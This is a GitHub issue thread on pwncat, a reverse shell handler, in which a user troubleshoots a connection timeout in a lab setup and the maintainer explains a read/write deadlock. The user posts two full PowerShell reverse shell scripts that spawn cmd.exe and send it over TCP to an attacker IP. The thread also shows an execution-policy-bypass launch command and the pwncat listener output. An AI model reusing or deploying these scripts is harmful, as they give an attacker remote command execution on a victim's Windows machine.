calebstewart / pwncat

Fancy reverse and bind shell handler
https://pwncat.readthedocs.io
MIT License
2.59k stars 253 forks source link

[BUG] connection failed: channel recieve timed out #113

Closed TW-D closed 3 years ago

TW-D commented 3 years ago

Hello, after several attempts to catch my reverse shell, the same problem repeats.

On the machine playing the role of the victim (Microsoft Windows 10 - 192.168.1.19)

cd Desktop
powershell.exe -nop -noni -ep bypass .\powershell.reverse.ps1

Content of the powershell script (powershell.reverse.ps1)

function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
// Setup IPADDR
$address = '192.168.1.13'
// Setup PORT
$port = '44447'
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 0; $i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 1
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
$string = $null}} else {cleanup}}

On the machine playing the role of the attacker (Ubuntu 20.04 - 192.168.1.13)

:~$ pwncat --platform windows --listen -p 44447
[10:20:11] Welcome to pwncat 🐈!                                                                                                                                                                                              __main__.py:127
[10:20:55] received connection from 192.168.1.19:8178                                                                                                                                                                              bind.py:58
[10:20:57] Good path: \Windows\Tasks                                                                                                                                                                                           manager.py:491
[10:21:04] Selected Install Utils: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe                                                                                                                             manager.py:491
[10:21:36] connection failed: channel recieve timed out: b''                                                                                                                                                                   manager.py:491
(local) pwncat$

Each time the same error "connection failed: channel recieve timed out: b''". With netcat it works.

Thanks for your help. Note: If you run the reverse shell from a location other than "C:\path" for example "E:\", pwncat abruptly terminates, but that is not the same problem here.

calebstewart commented 3 years ago

While that reverse shell works for short/simple commands executed directly on cmd.exe, it will break when trying to run larger commands or subprocesses. This is mainly due to the sequential nature of the reads/writes. Because your script has to wait until it's done reading from the socket to write anything back, you're hitting a deadlock where pwncat is waiting for the output of the process while your reverse shell is waiting for input from pwncat.

In a real language, you could easily multithread the reads/writes to ensure that never happens. Technically, that's possible in powershell, but last I heard it was cumbersome at best. There is a command ForEach-Object that will supposedly eventually have a -Parallel option which could solve this, but I don't think it's in release status/common at this point.

If you can get a powershell-only reverse shell that multithreads the IO, I'd be very interested, but I'm not sure it's even possible with the features of the language right now. That being said, there's a lot of options over at revshells for reverse and bind shells on Windows.

TW-D commented 3 years ago

Thank you for your answer. I understand that the logic of the reverse shell in terms of programming is important for the proper functioning of 'pwncat', so I have rewritten the reverse shell. But still the same problem.

$lhost = '192.168.1.13'
$lport = '44478'

function require_cleanup {

    if ($client.Connected -eq $true) {
        $client.Close()
        Write-Host 'Remote attacker closed'
    }

    if ($process.ExitCode -ne $null) {
        $process.Close()
        Write-Host 'Remote process closed'
    }

    Exit

}

function get_output {

    if ( ($output.Read()) -gt 0 ) {

        $raw = ''
        while ($output.Peek() -ne -1) {
            $raw += $encoding.GetString($output.Read())
        }
        $raw += ' '

        $stream.Write($encoding.GetBytes($raw), 0, $raw.Length)
        $stream.Flush()

    }

}

Try {

    $client = New-Object System.Net.Sockets.TcpClient
    $client.ReceiveTimeout = 45000
    $client.Connect($lhost, $lport)
    $stream = $client.GetStream()
    $buffer = New-Object System.Byte[] $client.ReceiveBufferSize

} Catch {

    # Nothing

} Finally {

    Write-Host 'Remote attacker connected'

    $process = New-Object System.Diagnostics.Process
    $process.StartInfo.FileName = 'C:\\Windows\\System32\\cmd.exe'
    $process.StartInfo.RedirectStandardInput = 1
    $process.StartInfo.RedirectStandardOutput = 1
    $process.StartInfo.UseShellExecute = 0
    $process.Start()

    $input = $process.StandardInput
    $output = $process.StandardOutput

    Start-Sleep 2

    Write-Host 'Remote process started'

    $encoding = New-Object System.Text.AsciiEncoding

    Try {

        # banner
        get_output

        while ( ($bytes = $stream.Read($buffer, 0, $buffer.Length)) ) {

            if ( ($client.Connected -ne $true) -or ($process.ExitCode -ne $null) ) {

                require_cleanup

            } else {

                $command = $encoding.GetString($buffer, 0, $bytes)
                $input.Write($command)
                Start-Sleep 1

                # command output
                get_output

            }

        }

    } Catch {

        # Nothing

    }

}

Do you think you can help me to take this reverse shell and make it compatible with 'pwncat' ?

calebstewart commented 3 years ago

This is not perfect, and I can't get the threads to properly stop. PowerShell doesn't really support multithreaded environments, so this is kind of a hacky solution, but it technically works. The builtin PSJobs don't appear to work, so I used a separate runspace to simulate what would normally be "threads", but stopping them appears to make the process hang.

https://gist.github.com/calebstewart/b183de2287dd3435de28d4211631b750

edit - In hindsight, I wasn't very clear. I tested the implementation at the above gist, and it works both as a regular bind/reverse shell and with pwncat. The only downside is that it doesn't properly close Runspace's used for threads.

TW-D commented 3 years ago

You have helped me a lot, it's really great to have taken your time for this. I will rewrite line by line your script to understand it. Thanks again for your help.